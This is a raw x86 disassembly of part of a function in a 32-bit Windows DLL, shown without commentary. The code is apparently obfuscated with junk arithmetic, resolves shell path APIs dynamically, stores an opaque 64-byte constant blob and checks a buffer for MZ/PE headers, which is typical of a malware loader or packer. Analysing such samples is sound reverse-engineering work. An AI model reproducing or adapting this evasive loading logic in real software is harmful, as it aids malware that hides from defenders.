sbb ecx, ecx
inc ecx
cmp eax, ecx
jne 0x1000b4b6
mov eax, dword [esp + 0x78]
movzx ecx, word [0x100100b8]
movzx eax, ax
imul ecx, eax
mov byte [0x10010014], 2
mov word [0x100100b8], cx
jmp 0x1000b4ef
cmp byte [0x10010003], 0
je 0x1000b4cf
imul eax, dword [esp + 0x24], 0xf5
mov word [0x1001008c], ax
jmp 0x1000b4ef
cmp dword [0x10010098], 0
je 0x1000b4ef
imul eax, dword [esp + 0x60], 0xa1
mov dword [0x1001004c], 0
mov dword [0x10010048], eax
mov eax, 0x3ec3
mov byte [esp + 0xf2], 0x72
add ax, word [0x100100b0]
mov word [section..data], ax
movsx eax, word [0x100100b4]
sub eax, 0x56ae
mov byte [esp + 0xee], 0x6c
cdq
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], edx
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
add ecx, 0x998cec84
movzx eax, word [0x100100c4]
cdq
adc esi, 0xa94cc
mov byte [0x1001000e], 0x36
cmp eax, ecx
jne 0x1000b5cb
cmp edx, esi
jne 0x1000b5cb
mov edi, dword [esp + 0x78]
nop dword [eax]
movzx ecx, byte [esp + 0x13]
movzx eax, byte [0x1001000e]
add eax, ecx
cmp eax, 1
jne 0x1000b5c7
mov eax, dword [0x10010078]
mov ecx, dword [esp + 0x28]
sub eax, 0xdf20637
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x30], eax
mov eax, dword [0x1001007c]
sbb eax, 0
mov byte [0x1001000e], 0x36
mov dword [esp + 0xac], eax
add ecx, 0x998cec84
lea eax, [edi + 0x79a8]
mov word [0x10010088], ax
adc esi, 0xa94cc
movzx eax, word [0x100100c4]
cdq
cmp eax, ecx
jne 0x1000b5c7
cmp edx, esi
je 0x1000b560
mov edi, dword [esp + 0x7c]
mov eax, dword [esp + 0x94]
movzx ecx, word [esp + 0x98]
add eax, 0x1c7
mov edx, dword [esp + 0x54]
imul eax, eax, 0xf456
movsx ecx, cx
mov dword [esp + 0xa4], eax
mov ax, word [0x1001000c]
cwde
imul eax, ecx
mov byte [esp + 0xf3], 0x79
mov word [0x1001000c], ax
mov esi, dword [esp + 0x24]
mov al, byte [esp + 0x12]
xor esi, 0x99f06066
mov byte [esp + 0x1f], al
mov eax, dword [0x10010028]
or eax, dword [0x1001002c]
mov byte [esp + 0xec], 0x44
je 0x1000b63b
mov word [section..data], dx
jmp 0x1000b646
mov eax, dword [0x10010004]
mov word [section..data], ax
mov eax, 0xfffff7c3
mov byte [esp + 0xed], 0x6c
mov word [0x100100c0], ax
mov ecx, dword [esp + 0x24]
movsx eax, word [0x100100c0]
add ecx, 0xf7c3
cmp eax, ecx
jne 0x1000b70f
movsx eax, word [0x100100a8]
lea ecx, [edx + 0xa2]
cmp eax, ecx
jne 0x1000b70f
mov eax, dword [esp + 0x60]
add eax, dword [0x10010058]
cmp eax, 1
jb 0x1000b6b5
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov ecx, dword [0x10010098]
shl ecx, 4
add ecx, dword [0x10010098]
mov dword [0x10010030], ecx
jmp 0x1000b70f
test edi, edi
ja 0x1000b6d1
jb 0x1000b6c1
cmp dword [esp + 0x18], esi
ja 0x1000b6d1
mov eax, dword [esp + 0xb8]
cwde
imul esi, eax, 0x12880cf7
jmp 0x1000b70f
mov eax, dword [esp + 0x78]
movzx ecx, ax
movzx eax, byte [esp + 0x13]
not ecx
sub ecx, eax
mov eax, dword [esp + 0x24]
add eax, 0x638a
imul eax, ecx
add eax, 0x7be0
mov word [0x100100c0], ax
mov ax, word [section..data]
not ax
add ax, word [esp + 0xa0]
mov word [0x1001006c], ax
mov eax, 0xfffff7c3
mov word [0x100100c0], ax
mov dword [0x10010090], 0x95
mov dword [0x10010094], 0
mov eax, dword [esp + 0x80]
mov ecx, dword [0x100100a0]
mov eax, dword [0x100100a4]
mov eax, dword [esp + 0xa4]
movzx eax, ax
movzx ecx, cx
imul ecx, eax
lea eax, [esp + 0xf8]
push str.SHGetFolderPathW
push eax
mov byte [esp + 0xf8], 0x6e
mov byte [esp + 0xfc], 0
mov word [0x10010088], cx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x2a8]
push ecx
push 0
push 0
push 0x1a
push 0
call eax
test eax, eax
js 0x1000d6bd
mov eax, dword [esp + 0x20]
sub esp, 8
call fcn.10001730
movzx eax, ax
add esp, 8
mov word [0x10010020], ax
test ax, ax
jne 0x1000b8b6
mov eax, dword [0x10010070]
push ecx
call fcn.100014a0
movzx eax, al
add esp, 4
mov word [0x1001006c], ax
movsx eax, word [0x100100a8]
not eax
cmp eax, 0xa2
jle 0x1000b804
mov eax, dword [esp + 0x28]
mov ecx, dword [0x10010058]
mov edx, dword [esp + 0x2c]
cmp eax, ecx
jne 0x1000b804
mov dword [esp + 0x9c], 1
test edx, edx
je 0x1000b80f
mov dword [esp + 0x9c], 0
mov edi, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
mov eax, dword [esp + 0x28]
sub edi, eax
mov ecx, dword [esp + 0x2c]
sbb edx, ecx
test edx, edx
ja 0x1000b835
jb 0x1000b82e
cmp edi, 1
ja 0x1000b835
mov eax, 1
jmp 0x1000b837
xor eax, eax
cmp dword [esp + 0x9c], eax
jae 0x1000b871
movsx eax, word [0x10010020]
not eax
test eax, eax
je 0x1000b8c1
mov eax, dword [0x100100ac]
mov ecx, dword [0x100100a0]
mov esi, dword [0x100100a4]
cdq
add ecx, eax
mov dword [0x100100a0], ecx
adc esi, edx
mov dword [0x100100a4], esi
jmp 0x1000b8c1
movsx eax, word [section..data]
cmp eax, esi
je 0x1000b8a3
movzx eax, byte [0x10010013]
cmp word [0x10010088], ax
ja 0x1000b8a3
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
inc byte [0x1001000f]
mov byte [0x10010014], 0
jmp 0x1000b8c1
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
je 0x1000b8c1
mov byte [esp + 0x11], 1
jmp 0x1000b8c1
mov eax, dword [0x10010018]
mov ecx, dword [0x1001001c]
mov eax, dword [0x100d60e0]
mov dword [esp + 0x34], eax
mov ax, word [0x10010088]
shl ax, 7
cmp byte [0x1001000e], 0
mov word [0x1001000c], ax
jne 0x1000b8ec
mov eax, 1
xor ecx, ecx
jmp 0x1000b906
xorps xmm0, xmm0
movlpd qword [esp + 0x80], xmm0
mov ecx, dword [esp + 0x84]
mov eax, dword [esp + 0x80]
add eax, dword [0x10010078]
adc ecx, dword [0x1001007c]
or eax, ecx
jne 0x1000b91b
lea esi, [eax + 1]
jmp 0x1000b91d
xor esi, esi
mov eax, dword [esp + 0x34]
sub esp, 0x28
add eax, 0x564
mov dword [esp + 0x80], esi
mov dword [esp + 0xa8], eax
mov al, byte [esp + 0x3b]
mov ax, word [0x100100c4]
call fcn.10001d00
xor edx, edx
mov word [0x10010010], ax
add esp, 0x28
cmp word [0x10010010], 0x3a
movzx eax, word [0x10010010]
setne dl
xor ecx, ecx
test ax, ax
setne cl
cmp ecx, edx
jbe 0x1000b9a5
mov ax, word [0x100100b8]
mov ecx, 0xf456
and ax, cx
mov cx, word [0x100100c4]
movzx eax, ax
cdq
mov dword [esp + 0xd8], eax
mov eax, 0xcc2
add cx, ax
mov dword [esp + 0xdc], edx
mov word [0x10010088], cx
mov ecx, dword [esp + 0x34]
sub esp, 0x10
add ecx, 0x671
mov dword [esp + 0xb0], ecx
mov ax, word [esp + 0x24]
mov eax, dword [0x10010004]
call fcn.10001880
movzx eax, ax
add esp, 0x10
cdq
mov edi, edx
mov dword [esp + 0x18], eax
or eax, edi
mov dword [esp + 0x7c], edi
je 0x1000ba03
mov ax, word [0x10010010]
movzx ecx, word [0x10010028]
sub cx, ax
movzx eax, cx
movzx ecx, word [0x10010010]
add cx, ax
mov word [0x10010010], cx
jmp 0x1000ba31
mov ecx, dword [0x10010038]
mov eax, dword [0x1001003c]
or ecx, eax
jne 0x1000ba31
mov eax, dword [0x10010050]
mov ecx, dword [0x10010054]
mov dword [esp + 0x28], eax
mov ax, word [0x100fd716]
mov dword [esp + 0x2c], ecx
mov word [0x10010010], ax
mov eax, dword [esp + 0x34]
add eax, 0x6ec
mov dword [esp + 0xb8], eax
imul eax, dword [esp + 0xa0], 0x5c
mov ecx, dword [esp + 0xa0]
mov edx, dword [esp + 0x80]
add ecx, eax
mov eax, dword [esp + 0xa0]
add edx, ecx
add eax, 0x1dd
cmp eax, edx
je 0x1000d6bd
mov eax, dword [0x100d60e0]
mov dword [esp + 0x34], eax
movzx eax, word [0x10010020]
cmp word [esp + 0x98], ax
jne 0x1000bb1a
test ax, ax
je 0x1000baa6
cmp byte [0x10010002], 0
mov dword [esp + 0x9c], 1
jne 0x1000bab1
mov dword [esp + 0x9c], 0
test esi, esi
jne 0x1000bac7
mov eax, dword [esp + 0x30]
or eax, dword [esp + 0xac]
jne 0x1000bac7
lea edx, [esi + 1]
jmp 0x1000bac9
xor edx, edx
mov eax, dword [0x100100ac]
xor ecx, ecx
cmp dword [0x100100bc], 0xffffffcc
setge cl
xor ecx, dword [esp + 0x9c]
cmp eax, 0xc99d93ec
mov eax, 1
cmovb edx, eax
cmp ecx, edx
je 0x1000bbc4
movzx eax, word [0x100100c4]
sub eax, 0x6031
mov dword [0x10010040], eax
imul eax, dword [0x10010028], 0x690310f9
mov dword [esp + 0x60], eax
jmp 0x1000bbc4
mov eax, dword [0x10010018]
mov ecx, dword [0x1001001c]
cmp dword [esp + 0xd8], eax
jne 0x1000bb3e
cmp dword [esp + 0xdc], ecx
jne 0x1000bb3e
mov ecx, 1
jmp 0x1000bb40
xor ecx, ecx
xor eax, eax
cmp dword [0x100100bc], eax
sete al
cmp ecx, eax
jne 0x1000bb83
mov eax, dword [0x10010080]
or eax, dword [0x10010084]
je 0x1000bb6f
mov eax, dword [esp + 0x18]
mov dword [esp + 0x84], edi
mov word [0x100100c4], ax
jmp 0x1000bbc4
mov eax, dword [esp + 0x20]
cdq
mov dword [esp + 0x84], edx
mov word [0x100100c4], ax
jmp 0x1000bbc4
mov eax, dword [0x10010004]
cdq
cmp dword [esp + 0x30], eax
jne 0x1000bb9f
cmp dword [esp + 0xac], edx
jne 0x1000bb9f
mov ecx, 1
jmp 0x1000bba1
xor ecx, ecx
movzx eax, byte [0x1001000f]
cmp eax, ecx
jae 0x1000bbc4
movsx eax, word [0x100100a8]
imul eax, eax, 0xd7
cdq
sub dword [esp + 0x18], eax
sbb edi, edx
mov dword [esp + 0x7c], edi
mov eax, dword [esp + 0x34]
mov esi, 0x14a
add eax, 0x573
mov dword [esp + 0x80], eax
nop dword [eax]
mov eax, dword [0x1000f188]
movq xmm0, qword [str.tb_aad_env_id]
mov dword [esp + 0x1d8], eax
mov ax, word [0x1000f18c]
mov word [esp + 0x1dc], ax
lea eax, [esp + 0x1d0]
push eax
movq qword [esp + 0x1d4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x10010044]
mov dword [esp + 0x160], eax
inc ecx
movzx eax, ax
mov dword [esp + 0x64], eax
mov dword [0x10010044], ecx
sub esi, 1
jne 0x1000bbe0
mov eax, dword [esp + 0x34]
movups xmm0, xmmword [str.CoCreateInstance_f]
add eax, 0x6f5
mov dword [esp + 0xd4], eax
mov ax, word [0x1000f1a0]
mov word [esp + 0x200], ax
mov al, byte [0x1000f1a2]
mov byte [esp + 0x202], al
lea eax, [esp + 0x1f0]
push eax
movups xmmword [esp + 0x1f4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movzx eax, ax
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x34]
add eax, 0x7b3
mov dword [esp + 0xb8], eax
mov eax, 0x1ddf
mov word [0x10010088], ax
lea eax, [esp + 0x104]
push str.PathAppendW
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov cx, word [esp + 0x14]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x194]
push ecx
lea ecx, [esp + 0x2ac]
push ecx
call eax
mov eax, dword [0x10010080]
lea edx, [esp + 0x1ac]
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x2a8]
mov dword [esp + 0x90], eax
mov eax, dword [0x10010084]
mov dword [0x1018d59c], esi
mov dword [esp + 0xb0], eax
mov byte [0x10010002], 0x6c
call fcn.10005d90
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x88]
sub edx, ecx
mov dword [esp + 0x94], eax
mov ecx, dword [esp + 0x88]
add ecx, edx
cmp ecx, 0x13b
je 0x1000d6bd
test eax, eax
je 0x1000d6bd
mov ax, word [0x100100a8]
mov ecx, 0x21bb
add ax, word [str.Ep_M]
add ax, cx
mov word [0x100100a8], ax
mov dword [0x10010004], 0xc4fadc62
mov eax, dword [0x10010004]
mov ecx, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
cdq
add ecx, eax
mov dword [esp + 0x34], edi
movzx eax, word [0x1001008c]
adc dword [esp + 0x34], edx
mov edi, dword [esp + 0x7c]
cdq
cmp eax, ecx
jne 0x1000beb1
cmp edx, dword [esp + 0x34]
jne 0x1000beb1
mov eax, dword [esp + 0x74]
movzx edx, al
mov eax, esi
add eax, 0x3a9e
mov dword [esp + 0x80], edx
mov esi, edi
mov dword [esp + 0x68], eax
adc esi, 0
mov edi, 0x10d4
mov ecx, dword [0x10010018]
mov eax, dword [0x1001001c]
cmp eax, 0xffffffff
jb 0x1000bdf2
ja 0x1000bdeb
cmp ecx, 0xe336464c
jbe 0x1000bdf2
mov eax, 1
jmp 0x1000bdf4
xor eax, eax
cmp eax, edx
jae 0x1000be10
mov eax, dword [0x100100ac]
sub eax, 0x5570
cdq
mov dword [0x10010028], eax
mov dword [0x1001002c], edx
jmp 0x1000be22
movzx eax, byte [esp + 0x11]
add ax, di
movzx eax, ax
mov dword [esp + 0x98], eax
movsx eax, byte [0x10010012]
cdq
cmp eax, dword [esp + 0x68]
jne 0x1000bea9
cmp edx, esi
jne 0x1000bea9
mov eax, dword [esp + 0x24]
sub esp, 0x10
mov eax, dword [0x10010040]
call fcn.10001880
mov word [0x100100c0], ax
add esp, 0x10
movsx ecx, word [0x100100c0]
movzx eax, byte [0x1001000e]
imul eax, ecx
test eax, eax
jne 0x1000be6d
mov ax, word [0x10010068]
mov eax, dword [esp + 0x60]
mov dword [0x10010004], 0xc4fadc62
mov eax, dword [0x10010004]
mov ecx, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
cdq
add ecx, eax
movzx eax, word [0x1001008c]
adc edi, edx
cdq
cmp eax, ecx
jne 0x1000bea9
cmp edx, edi
mov edx, dword [esp + 0x80]
mov edi, 0x10d4
je 0x1000bdd1
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x7c]
mov eax, dword [esp + 0x48]
sub esp, 0x28
mov ecx, dword [esp + 0x74]
call fcn.10001d00
mov dword [esp + 0x88], eax
xor ecx, ecx
mov eax, dword [esp + 0x88]
add esp, 0x28
cmp eax, 0x20
mov eax, dword [esp + 0x60]
sete cl
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
ja 0x1000bf04
mov ecx, dword [0x10010038]
mov eax, dword [0x1001003c]
or ecx, eax
jne 0x1000bf04
mov ax, word [0x100100a8]
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov eax, dword [0x10010044]
mov dword [esp + 0x120], 0xe8f9668e
mov dword [esp + 0x124], 0x3c5ab3fe
mov dword [esp + 0x128], 0xaf05ef9b
mov dword [esp + 0x12c], 0xa07a3fc3
mov dword [esp + 0x130], 0xd79af429
mov dword [esp + 0x134], 0x15b2fb3a
mov dword [esp + 0x138], 0xe542a656
mov dword [esp + 0x13c], 0x109e28c7
mov dword [esp + 0x140], 0x3fb4ae07
mov dword [esp + 0x144], 0xa1758580
mov dword [esp + 0x148], 0x8f1fe37c
mov dword [esp + 0x14c], 0xa4f38712
mov dword [esp + 0x150], 0x72fda1c2
mov dword [esp + 0x154], 0x9bd246ea
mov dword [esp + 0x158], 0x5f3c6bd6
mov dword [esp + 0x15c], 0x8342e678
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 0
mov al, byte [0x10010002]
movsx eax, word [0x100100c0]
cdq
mov dword [esp + 0xe0], eax
mov eax, dword [str.Ep_M]
mov dword [esp + 0xe4], edx
mov dword [esp + 0x68], 0x8468
mov word [esp + 0x14], ax
movzx eax, word [0x10010068]
mov word [esp + 0x14], ax
movsx eax, word [0x10010010]
mov dword [esp + 0x68], eax
mov eax, dword [0x10010044]
mov al, byte [0x100100b0]
mov byte [esp + 0x44], al
mov eax, dword [0x10010018]
mov ecx, dword [0x1001001c]
mov ax, word [0x10010010]
mov ax, word [0x100100a8]
mov dword [esp + 0x80], 0x76cb
mov eax, dword [0x10010070]
mov dword [esp + 0x80], eax
movzx eax, byte [0x1001000e]
mov word [esp + 0x44], ax
movzx eax, byte [0x1001000f]
mov dword [esp + 0x80], eax
mov eax, dword [0x100100ac]
cmp word [0x10010088], 0
mov dword [esp + 0x80], eax
movzx eax, word [0x100100b8]
cdq
mov dword [esp + 0x80], eax
mov eax, dword [0x10010058]
mov dword [esp + 0x84], edx
mov word [esp + 0x44], ax
mov byte [esp + 0x44], al
mov eax, dword [0x10010078]
mov dword [esp + 0x80], 0x85d3
mov dword [esp + 0x84], 0
mov byte [esp + 0x44], 0x3e
mov dword [esp + 0x80], eax
mov eax, dword [0x10010048]
mov word [esp + 0x44], ax
mov dword [esp + 0x80], 0x68f
je 0x1000c0e7
mov eax, dword [esp + 0x68]
add eax, 0xffff6391
mov dword [esp + 0x80], eax
jmp 0x1000c119
cmp word [0x100100c0], 0
je 0x1000c119
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov ax, word [0x100100c4]
mov ax, word [esp + 0x14]
mov eax, dword [0x10010058]
add eax, 0xb28a5e6a
mov dword [0x100100bc], eax
mov eax, dword [esp + 0x94]
push ecx
push eax
push dword [esp + 0x1b4]
lea ecx, [esp + 0x12c]
push eax
call fcn.100040b0
movsx ecx, word [0x100100b8]
mov eax, 0x6f60
movq xmm0, qword [str.NdrOleAllocate]
add esp, 0x10
cwde
imul ecx, eax
mov eax, dword [0x1000f1b8]
mov dword [esp + 0x1c8], eax
mov ax, word [0x1000f1bc]
mov word [esp + 0x1cc], ax
mov al, byte [0x1000f1be]
mov byte [esp + 0x1ce], al
lea eax, [esp + 0x1c0]
push eax
mov word [0x100100b4], cx
movq qword [esp + 0x1c4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov word [esp + 0x14], ax
mov eax, dword [esp + 0xb8]
add eax, 0x2d0
cmp dword [esp + 0xd4], eax
je 0x1000d64a
mov ecx, dword [0x10010038]
mov eax, dword [0x1001003c]
movzx eax, cl
mov cl, byte [0x10010013]
imul edx, eax, 0x72
and cl, 0x98
mov ax, word [esp + 0x14]
movzx ecx, cl
movzx eax, al
imul eax, ecx
mov ecx, esi
add dl, byte [esp + 0x74]
not dl
xor al, dl
add ecx, 0xffffffc0
mov byte [0x1001000f], al
adc edi, 0xffffffff
mov dword [0x10010038], ecx
mov dword [0x1001003c], edi
mov ecx, 0x140
mov edi, 0x6f408322
mov dword [esp + 0x58], edi
nop word [eax + eax]
movzx eax, byte [esp + 0x13]
cdq
add dword [0x10010048], eax
adc dword [0x1001004c], edx
sub ecx, 1
jne 0x1000c210
mov ecx, dword [esp + 0x94]
mov eax, 0xb433
mov word [0x1001006c], ax
mov al, byte [esp + 0x18]
add al, 0x36
mov byte [esp + 0x11], al
mov eax, 0x5a4d
cmp ax, word [ecx]
jne 0x1000d64a
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0xc4], eax
cmp dword [eax], 0x4550
jne 0x1000d64a
mov eax, dword [0x100d60e0]
mov dword [esp + 0x34], eax
movzx eax, byte [esp + 0x13]
cdq
add eax, dword [0x10010078]
adc edx, dword [0x1001007c]
or eax, edx
jne 0x1000c28f
mov eax, 1
jmp 0x1000c291
xor eax, eax
mov ecx, dword [0x10010098]
mov edx, dword [esp + 0x54]
not ecx
add ecx, eax
mov eax, dword [esp + 0x34]
add ecx, edx
add eax, 0x6ea
not ecx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xc8], ecx
mov ecx, dword [0x10010050]
mov eax, dword [0x10010054]
or ecx, eax
jne 0x1000c2d0
mov ax, word [esp + 0x98]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
cwde
cdq
cmp edx, ecx
jb 0x1000d673
ja 0x1000d666
cmp eax, esi
jb 0x1000d673
mov eax, dword [esp + 0x54]
add al, 0x4e
mov byte [0x10010003], al
jmp 0x1000d6a3
cmp word [0x100100a8], 0
je 0x1000d68d
mov eax, dword [esp + 0x58]
xor eax, 0x978
mov dword [0x10010044], eax
jmp 0x1000d6a3
mov eax, dword [esp + 0x60]
mov eax, dword [0x10010030]
mov eax, dword [0x100100ac]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
push dword [esp + 0x94]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x7c]
mov ecx, dword [esp + 0x18]
mov eax, dword [0x10010004]
add ecx, 0x85a7b433
cdq
adc edi, 0
mov dword [0x100100bc], 0x3a9e
mov dword [esp + 0x18], ecx
cmp eax, ecx
jne 0x1000d731
cmp edx, edi
jne 0x1000d731
nop word [eax + eax]
movsx eax, word [0x10010010]
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
cdq
add ecx, eax
adc esi, edx
cmp ecx, 1
jne 0x1000d731
test esi, esi
jne 0x1000d731
mov dword [0x10010004], 0x1441
mov eax, dword [0x10010004]
cdq
mov dword [0x100100bc], 0x3a9e
cmp eax, dword [esp + 0x18]
jne 0x1000d731
cmp edx, edi
je 0x1000d6f0
mov cx, word [0x100100a8]
mov eax, 1
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x3c]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8